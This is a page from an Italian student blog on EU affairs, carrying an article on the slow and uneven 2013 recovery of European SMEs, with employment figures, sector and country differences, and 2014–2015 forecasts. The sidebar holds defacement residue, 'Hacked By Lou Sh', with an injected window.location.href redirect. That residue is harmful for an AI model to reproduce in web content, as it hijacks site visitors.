EUROSBLOGS
--> Giugno 2013 Maggio 2013 Aprile 2013 Marzo 2013 Febbraio 2013 Gennaio 2013
Dicembre 2012 Novembre 2012 Ottobre 2012 Settembre 2012 Agosto 2012 Luglio 2012 Giugno 2012 Maggio 2012 Aprile 2012 Marzo 2012 February 2012 Gennaio 2012
Dicembre 2011 Novembre 2011 Ottobre 2011 Settembre 2011 Agosto 2011 Luglio 2011 Giugno 2011 Maggio 2011 Aprile 2011 Marzo 2011 Febbraio 2011 Gennaio 2011
Dicembre 2010 Novembre 2010 Ottobre 2010 Settembre 2010 Luglio 2010 Giugno 2010 Aprile 2010 Marzo 2010 Febbraio 2010
Aggiungere un commento

Per le PMI una lenta risalita economica




Ma i dati del 2013 parlano ancora di consistenti difficoltà

Il 2013 è stato un anno difficile per la ripresa economica delle PMI europee: nonostante alcuni segnali di una lenta risalita finanziaria, la ripresa appare assai instabile e non si è ancora assestata del tutto. La Commissione europea lo ha annunciato il 3 ottobre attraverso le schede informative relative allo Small Business Act for Europe (SBA), il programma europeo a sostegno delle piccole e medie imprese.

Per ciò che riguarda l’ambito occupazionale, rispetto al 2008 la percentuale di occupazione si è assestata sul 2,16% in meno e questo ha portato ad una disoccupazione pari a 1,9 milioni di lavoratori. Inoltre va sottolineato come a causa della crisi economica mondiale e del calo dell’inflazione economica, il numero delle PMI e la forza lavoro siano calate entrambe dello 0,9% e dello 0.5%.

Ma come si differenziano le PMI a livello di profitto? Molto dipende dalle loro dimensioni, dal settore di cui fanno parte e dai paesi in cui si trovano. Per ciò che riguarda i profitti economici non sono tanto le PMI quanto invece le medie imprese e le microimprese ad ottenere dei buoni risultati economici. Va sottolineato però, che nelle tre categorie il livello di occupazione rimane comunque inferiore rispetto al 2008, anche se le microimprese sono quelle che ne hanno risentito di più con un calo del 4,2%. I settori che sono stati maggiormente colpiti dalla crisi economica sono quello edile e manifatturiero mentre quelli che hanno avuto degli ottimi risultati sono i servizi alle imprese, l’ambito della comunicazione e dell’informazione e l’immobiliare.

JPEG - 9.7 Kb

Si crea quindi una spaccatura anche a livello degli Stati membri per ciò che riguarda la crescita produttiva. Da un lato abbiamo paesi come Germania, Austria, Svezia, Belgio, Malta, Lussemburgo, Regno Unito e Francia dove le PMI sono in netta ripresa e dove il livello di crescita ha superato quello del 2008. Purtroppo la nota dolente è che l’occupazione non attua gli stessi livelli di crescita, infatti solamente in Germania si è registrato un livello di occupazione del 10% in più rispetto al 2008. Dall’altro lato paesi come Grecia, Spagna, Portogallo, Cipro, Croazia, Irlanda, Romania, Slovenia, Lettonia e Ungheria dove le PMI hanno registrato un calo del 10% rispetto alla ricchezza generata nel 2008.

Quali sono gli obiettivi per il biennio 2014-2015? Per il 2014 si prevede per le PMI un aumento del 2,8% e per il 2015 del 3,4%. Nel settore occupazionale invece è previsto un aumento dello 0,1% per il 2014 e dello 0,7% per il 2015. Queste percentuali corrispondono ad una crescita dell’occupazione di 740.000 posti di lavoro nelle PMI, cifre comunque insufficiente a risanare le perdite registrate dal 2008. Nel 2013 le 21,6 milioni di PMI degli Stati UE hanno offerto posti di lavoro ad 88.8 milioni di persone ottenendo un guadagno di 3.666 miliardi di euro.

JPEG - 8.9 Kb

Nelle parole del Commissario europeo responsabile per l’industria e l’imprenditoria, Ferdinando Nelli Feroci: "Le difficoltà che le PMI continuano ad incontrare sottolineano la necessità che l’UE e gli Stati membri continuino gli sforzi per migliorare il clima imprenditoriale. Abbiamo bisogno di PMI per creare posti di lavoro e gli indicatori pubblicati oggi evidenziano che occorre fare di più per affrontare ostacoli come la difficoltà di accesso ai finanziamenti, se vogliamo raggiungere una crescita sostenuta delle PMI in tutta l’UE".



Nessun commento
ds Aggiungere un commento

Autori

Vanessa Piacenti
Studentessa del corso di laurea triennale in Scienze della comunicazione, Università si Roma Tor Vergata.



Dialogo con i cittadini sul Futuro dell’Europa

L’Eurosblog è media partner dell’iniziativa "Dialogo con i cittadini sul Futuro dell’Europa" organizzata dalla Rappresentanza in Italia della Commissione europea. Una serie di dibattiti aperti tra la Commissione europea e i cittadini sui temi dell’occupazione, della protezione dei cittadini e della sostenibilità. L’obiettivo è rispondere insieme alla domanda: “Che Europa vogliamo nel futuro?”. Guarda il video viral e fai la tua domanda su Twitter, utilizzando l’hashtag #EUdeb8. Segui l’evento in streaming su http://webcast.ec.europa.eu/eutv/po...

Quale Europa vogliamo nel futuro?


Ultimo commento

Erasmus+: il nuovo programma di studio per i giovani in Europa
di réduction toysrus, le 21 agosto 2013

Nice article :). I’ve studied abroad in Espagna y eso fue una experiencia unica: tanto al nivel laboral como humano! Je recommande ça à tout le monde :)


comitato



Ultimi articoli del blog

<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/cc82855323b3141664fde5d9afad6d5c.png">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
15 marzo 2015
<!DOCTYPE HTML>      <head>         <meta charset= Hacked By Lou Sh If you are not redirected automatically, follow the link to example " title=" Hacked By Lou Sh If you are not redirected automatically, follow the link to example " src="local/cache-gd2/646bc521095d5a61646327c7b727a862.jpg">
window.location.href = "http://torvergata.eurosblog.eu/IMG/html/" (...)
17 febbraio 2015

© Groupe Euros du Village 2010 | Note legali | Sito realizzato con SPIP | Relizzazione tecnica e design : Media Animation & Euros du Village France